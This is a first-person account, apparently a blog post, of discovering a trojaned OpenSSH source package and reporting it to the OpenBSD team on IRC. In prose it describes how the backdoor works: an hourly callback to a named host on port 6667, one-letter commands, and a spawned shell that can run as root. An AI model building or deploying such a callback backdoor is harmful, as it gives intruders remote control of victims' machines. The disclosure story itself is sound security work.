bf-test.c is a weird file. It talks about HP-UX PL.2 systems, it talks about _CRAY notes, it talkes about none-T3E machines, it talks about _ILP64__ and it does an epcdic2ascii() call. I'm not very skilled in computers (well, I am :-) but if people are talking about HP-UX, Cray, ILP64 and epcdic2ascii(), I know it's either too difficult for me (You are not supposed to understand this) or it's bullshit (We can charge the phaser-array via a shortwave link through the warpcore). Time to startup vmware and run the experiment: gcc -o bf-test bf-test.c.
bf-test itself is pretty harmless, it only prints things to the screen (remember the change in the makefile? execute, redirect the output and execute the output). The shell script it prints creates a C program and tries to compile it. If it doesn't succeed at first, it tries to link other libraries (everybody who has ever ported a Solaris knows that you have to explicitely link to libresolv et al). So it's cross-platform :-)
The C code is not that smart. It tries once per hour to connect to port 6667 on the machine 126.96.36.199 which is web.snsonline.net and waits for commands from the person or persons who 0wn3d the machine. Does it get an M, it sleeps for another hour. Does it get an A, it will abort. Does it get an M, it will spawn a shell. Some people will build it "normal" privileges and install it as root: they will get a shell with "normal" privileges. Other people will build it with "root" privileges and the shell will have "root" privileges.
While analyzing the code on #sage-au and mentioning the hostname, ^Sarge^ looked strangely at me (well, it's IRC so you never know but that's what I would do): "That is my machine.". The good news is that I didn't have to worry about finding out who manages the machine!
The next step is to inform somebody who manages the openssh-packages: The OpenBSD team. Up to right now, I have had no experience with the OpenBSD team (if you check my website you'll see that I'm more a FreeBSD guy :-). The head-guy of the OpenBSD team is living in Canada and they're now sleeping there. I've spend a couple of days on #freebsd on irc.openprojects.net, so I just tried #openbsd.
*** MavEtJu has joined #openbsd <MavEtJu> Euh... anybody from the openssh-team here? <MavEtJu> I have some news for you... <marius> What's up?
I have contact! Marius asked me the standard questions (how did you find out, how can I see it, when did you find out) and after some investigation he said "I think I'd better call Provos[ed. I think it was Provos, I am not sure about it]". Coolies! I think I found a right person to talk to! It looks like things are going to roll now, I can take my hands of it.
The last things I did were writing some emails to a couple of mailinglists and guide ^Sarge^ to #openbsd. For the rest I wasn't of very much use anymore, so I just kept monitoring #openbsd. And the logfile of my website, which went ballistic.